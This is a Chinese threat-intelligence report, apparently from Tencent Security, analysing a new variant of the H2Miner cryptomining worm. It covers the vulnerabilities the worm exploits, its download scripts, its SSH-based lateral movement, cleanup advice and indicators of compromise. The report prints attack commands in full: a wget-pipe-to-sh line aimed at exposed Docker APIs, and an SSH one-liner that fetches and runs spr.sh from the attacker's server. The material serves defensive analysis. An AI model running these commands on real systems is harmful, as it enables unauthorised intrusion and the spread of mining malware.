一、概述
腾讯安全威胁情报中心捕获H2Miner挖矿蠕虫新变种。H2Miner是一个linux下的大型挖矿僵尸网络,已被发现通过多个高危漏洞入侵Linux系统,并利用漏洞在企业内网或云服务器中横向扩散。腾讯安全威胁情报中心预估已有数千台服务器中招,腾讯安全专家建议相关企业尽快排查服务器被入侵的情况,及时清除H2Miner挖矿蠕虫病毒。
腾讯安全威胁情报中心本次捕获的H2Miner挖矿蠕虫样本会下载恶意脚本及恶意程序进行挖矿牟利,横向扫描扩大攻击面并维持与远程服务器(C2)通信,令服务器变成黑客控制的肉鸡。同时,具有卸载云服务器安全软件、删除云服务器镜像的能力,会给企业云服务器安全带来严重影响。
H2Miner挖矿蠕虫利用的高危漏洞包括:
Redis未授权RCE;
Solr dataimport RCE(CVE-2019-0193);
Hadoop Yarn REST API未授权RCE(CVE-2017-15718);
Docker Remote API未授权RCE;
ThinkPHP5 RCE;
Confluence 未授权RCE(CVE-2019-3396);
SaltStack RCE(CVE-2020-11651)
等多个Web应用漏洞。
此次H2Miner变种更新了C2服务器地址,在横向移动时会从/.ssh/config, .bash_history, /.ssh/known_hosts等多个文件中搜索目标机器和认证信息,并利用搜索得到的userlist、hostlist、keylist、sshports进行组合尝试爆破登录,从而扩大其攻击范围。
二、样本分析
Docker是一个开源的应用容器引擎,开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 由docker官方提供,是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展。使用docker swarm的时候,管理的docker 节点上会开放一个TCP端口2375(或2376)。
攻击者利用未受保护的开放Docker API端口进行攻击,并执行恶意命令:
wget -q -O – http[:]//93.189.43.3/d.sh | sh
d.sh执行以下操作:
1. 禁用SELINUX并清除系统日志:echo SELINUX=disabled >/etc/selinux/config;
2. 卸载阿里云骑士和腾讯云镜;
3. 清除竞品挖矿木马;
4. 杀死正在运行的恶意Docker容器并删除它们的映像;
5. 下载恶意程序“kinsing”并运行;
6. 通过crontab定时任务每分钟下载和执行shell脚本;
7. 删除竞品挖矿木马的crontab定时任务。
下载得到的kinsing采用Golang编写,被编译为Linux平台可执行程序,主要有以下功能:
1.下载文件并执行;
2.启动和维持挖矿程序;
3.与C&C服务器通信,接收并执行远程命令;
3.利用masscan对外扫描;
4.针对redis服务进行爆破攻击;
5.下载shell脚本http[:]//93.189.43.3/spre.sh,以进行横向移动。
受影响的主机会以http的方式与C&C服务器185.154.53.140进行通信,其中肉鸡的信息在http头部中标识。
Kinsing释放门罗币挖矿木马到/tmp/kdevtmpfsi,然后启动连接矿池xmr-eu1.nanopool.org挖矿,配置中使用门罗币钱包为:
46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
挖矿使用矿池和钱包与腾讯安全此前捕获到的版本(H2Miner黑产团伙利用SaltStack漏洞入侵企业主机挖矿,已获利370万元https://mp.weixin.qq.com/s/eLnQxa_hXxhNhyquOThW7Q)中使用的相同。
横向移动
Spre.sh是用于在网络中横向传播H2Miner的shell脚本。为了发现攻击目标并找与其相对应的身份验证的信息,脚本会从 /.ssh/config, .bash_history, /.ssh/known_hosts进行搜索和匹配。
利用收集到的信息,恶意脚本尝试通过SSH连接到每个主机,使用每个可能的用户和密钥组合进行爆破登录,以便在网络中的其他主机或容器上下载和运行shell脚本Spr.sh,spr.sh与最初攻击时的d.sh相同。
以下SSH命令用于在网络中传播H2Miner:
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http[:]//93.189.43.3/spr.sh|sh; sudo wget -q -O - http[:]//93.189.43.3/spr.sh|sh;"
三、手动清除H2Miner建议
1、 查找路径为/tmp/kinsing、/tmp/kinsing2、/tmp/kdevtmpfsi的进程,将其kill掉并删除对应的文件;
2、 查找crontab任务中包含“195.3.146.118”的相关项并删除。
IOCs
IP
195.3.146.118
142.44.191.122
185.92.74.42
217.12.221.244
93.189.43.3
185.154.53.140
Md5
kdevtmpfsi |
8c6681daba966addd295ad89bf5146af |
kinsing |
52ca5bc47c84a748d2b349871331d36a |
a.sh |
e3af308c4a4130dd77dc5772d801ebab |
cron.sh |
bd405b37e69799492a58a50f5efc2725 |
d.sh |
be17040e1a4eaf7e2df8c0273ff2dfd2 |
ex.sh |
7f469ccecbf9d0573f0efd456e8e63a7 |
h2.sh |
1b34c5bb3a06c4439b5da77c49f14cf7 |
j.sh |
41640173ddb6a207612ee052b48dd8be |
lf.sh |
bac660c7aa23f4fda6c699c75b4b89f1 |
p.sh |
e040303652c05dbf6469c9c3ce68031a |
pa.sh |
18dc6621299b855793bdeaad8ef5af23 |
s.sh |
1c489a326a4d37fbf02680bbd6f38b4f |
spr.sh |
255779cf6134f3ac5133f04868e3956c |
spre.sh |
639d87d54aa57371cc0bf82409503311 |
t.sh |
ae9017bbeac57bc4de1ac5f59d59c519 |
tf.sh |
831093a5a825ab096c2fc73a7a52bbf1 |
al.sh |
d06e2a3f52043c3a3c3ecf1f406b8241 |
URL
https[:]//bitbucket.org/tromdiga1/git/raw/master/kinsing
https[:]//bitbucket.org/tromdiga1/git/raw/master/for
http[:]//93.189.43.3/kinsing
http[:]//93.189.43.3/kinsing2
http[:]//93.189.43.3/spr.sh
http[:]//93.189.43.3/spre.sh
http[:]//93.189.43.3/a.sh
http[:]//93.189.43.3/cron.sh
http[:]//93.189.43.3/d.sh
http[:]//93.189.43.3/ex.sh
http[:]//93.189.43.3/h2.sh
http[:]//93.189.43.3/j.sh
http[:]//93.189.43.3/lf.sh
http[:]//93.189.43.3/p.sh
http[:]//93.189.43.3/pa.sh
http[:]//93.189.43.3/s.sh
http[:]//93.189.43.3/t.sh
http[:]//93.189.43.3/tf.sh
http[:]//93.189.43.3/al.sh
参考链接:
https://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/
H2Miner黑产团伙利用SaltStack漏洞入侵企业主机挖矿,已获利370万元
https://mp.weixin.qq.com/s/eLnQxa_hXxhNhyquOThW7Q